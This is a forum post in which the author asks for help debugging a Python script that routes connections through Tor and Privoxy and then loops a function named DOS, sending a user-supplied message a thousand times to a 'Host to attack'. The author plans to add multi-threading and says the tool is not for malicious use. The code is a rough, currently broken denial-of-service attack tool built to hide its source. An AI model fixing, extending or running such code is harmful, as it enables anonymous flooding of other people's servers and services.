Wanted to get some help on my code. Bare with me as it lacks proper exception handling and all that but I made a rough version to test it out. Multi-threading hasn't been incorporated yet, I needed to test the DOS function first. The proxy has been enabled and tested.
I'm having a huge amount of trouble. I keep getting the error "socks.generalproxyerror: (5, 'bad input').
Here's my code so far.
import socks
import socket
import sys
def create_connection(address, timeout=None, source_address = None):
sock = socks.socksocket()
sock.connect(address)
return sock
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9050)
socket.socket = socks.socksocket
socket.create_connection = create_connection
print("Checking TOR proxy is enabled on port 9050, listening...")
s = socket.socket()
try:
result = s.connect_ex(('127.0.0.1', 9050))
if result == 0:
print('Success! Port 9050 is listening!')
else:
print("Port 9050 not listening. Do you have TOR installed?")
exit()
finally:
print("TOR check done!")
print("Checking if privoxy is running on port 8118...")
try:
result = s.connect_ex(('127.0.0.1', 8118))
if result == 0:
print("Success! Privoxy is listening on port 8118!")
else:
print('Privoxy is not running! Are you sure you want to continue?')
WARN1 = raw_input("y or n?: ")
if WARN1 == 'y':
print("Continuing...")
elif WARN1 == 'n':
print ('EXITING...')
exit()
else:
print("Unexpected character: " + WARN1 + " EXITING!")
exit()
finally:
print("Privoxy check is done! Moving on...")
s.close()
print("Everything setup!")
def DOS(Host, Port, Message):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect((Host, Port))
s.send(Message)
s.close()
except socket.error, msg:
print("Unable to connect to host...")
Get_H = raw_input("Host to attack:")
Host = socket.gethostbyaddr(Get_H)
Message = raw_input("Message to send:")
Port = raw_input("Port to attack on:")
for x in range(1, 1000):
DOS(Host, Port, Message)
And the official error:
Traceback (most recent call last):
File [CENSORED] line 64, in <module>
DOS(Host, Port, Message)
File [CENSORED], line 54, in DOS
s.connect((Host, Port))
File [CENSORED], line 362, in connect
raise GeneralProxyError((5,_generalerrors[5]))
socks.GeneralProxyError: (5, 'bad input')
Any help is greatly appreciated.
I guess I should mention that this isnt going to be used for any malicious purposes, and I will gladly post the code when I finish it completely. Just want to see how far I can go.
Just wanted to let everyone know that Im not a villain here.
*Mod Note: Double Posts are villainous enough Also I left the weird ass color scheme because adding proper [ .code ] quotes fucked it right up, next time I'll delete it*